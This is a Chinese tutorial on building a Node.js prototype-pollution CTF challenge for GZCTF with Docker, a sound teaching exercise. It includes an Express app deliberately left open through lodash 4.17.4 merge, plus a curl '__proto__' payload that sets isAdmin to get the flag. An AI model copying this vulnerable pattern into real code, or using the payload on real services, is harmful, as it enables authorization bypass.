前言
如果你是一名网络安全爱好者,或者正在学习 CTF(Capture The Flag)比赛中的 Web 安全知识,那么你一定听说过 原型链污染(Prototype Pollution)。这是一种在 JavaScript 中常见的安全漏洞,攻击者可以通过操纵对象的原型链来实现恶意操作。
本文将带你从零开始,使用 GZCTF 平台 和 Docker,在 Ubuntu 系统 上搭建一个简单的 Node.js 原型链污染题目。即使你是新手,也能轻松上手!
准备工作
在开始之前,请确保你的系统已经安装以下工具:
-
Ubuntu 系统(本文以 Ubuntu 20.04 为例)
-
Docker(用于容器化部署)
-
GZCTF 平台(一个开源的 CTF 平台)
如果你还没有安装 GZCTF,可以去👇
第一步:编写 Node.js 题目代码
我们需要编写一个简单的 Node.js 应用程序,其中包含一个原型链污染的漏洞。
这里我直接选用了以前做过的题目(ezsyjs)
结构如下
easyjs/
├── Dockerfile
├── app.js
└── package.json
Dockerfle
# 使用 Node.js 官方镜像
FROM node:18-alpine
# 创建工作目录
WORKDIR /app
# 复制依赖声明文件
COPY package*.json ./
# 安装依赖(生产模式)
RUN npm install --omit=dev
# 复制源码和 flag
COPY app.js .
# 启动命令
CMD ["node", "app.js"]
app.js
const express = require('express');
const _ = require('lodash');
const fs = require('fs');
const app = express();
app.use(express.json());
// 存储笔记的对象
const notes = {};
// 创建新笔记
app.post('/api/notes', (req, res) => {
const noteId = req.body.id;
const noteData = req.body;
if (!noteId) {
return res.status(400).json({ error: 'Missing id' });
}
// 使用lodash.merge,该版本存在原型链污染漏洞
notes[noteId] = {};
_.merge(notes[noteId], noteData);
console.log('Note prototype:', Object.getPrototypeOf(notes[noteId]));
console.log('Note properties:', notes[noteId]);
res.json(notes[noteId]);
});
// 获取笔记
app.get('/api/notes/:id', (req, res) => {
const noteId = req.params.id;
if (!notes[noteId]) {
return res.status(404).json({ error: 'Note not found' });
}
res.json(notes[noteId]);
});
// 获取flag (仅管理员可访问)
app.get('/api/flag', (req, res) => {
const noteId = req.headers['note-id'];
if (!noteId || !notes[noteId]) {
return res.status(403).json({ error: 'Authentication required' });
}
if (!notes[noteId].isAdmin) {
return res.status(403).json({ error: 'Admin access required' });
}
try {
const flag = process.env.GZCTF_FLAG;
res.json({ flag: flag.trim() });
} catch (err) {
res.status(500).json({ error: 'Error reading flag' });
}
});
app.listen(8000, () => {
console.log('Server running on port 8000');
});
package.json
{
"name": "ctf-proto-pollution",
"version": "1.0.0",
"dependencies": {
"express": "^4.18.2",
"lodash": "4.17.4"
}
}
之后进入目录创建镜像
docker build -t nodejs .
第二步:部署到 GZCTF 平台
在平台创建题目后输入上一步中镜像的名称创建测试容器
注意此处服务端口为8000,默认80,因为app.js中的
app.listen(8000, () => {
console.log('Server running on port 8000');
});
会在8000端口监听
第三步:测试题目
访问测试容器出现以下内容代表成功
之后传入note修改权限isAdmin为true
curl -X POST http://xxx.xxx.xxx:xxx/api/notes -H "Content-Type: application/json" -d '{"id": "note1", "__proto__": {"isAdmin": true}}'
之后访问这个note1
curl -H "Note-Id: note1" http://xxx.xxx.xx.xx:xxx/api/flag
获取flag
总结
通过本文,你已经成功搭建了一个简单的 Node.js 原型链污染题目,并部署到了 GZCTF 平台。这个题目非常适合新手学习原型链污染的原理和利用方法。
如果你对 Node.js 安全感兴趣,可以尝试进一步研究:
-
如何修复原型链污染漏洞?
-
其他常见的 JavaScript 安全漏洞(如 XSS、CSRF 等)。
希望你能通过这个题目学到有用的知识,祝你玩得开心!🚀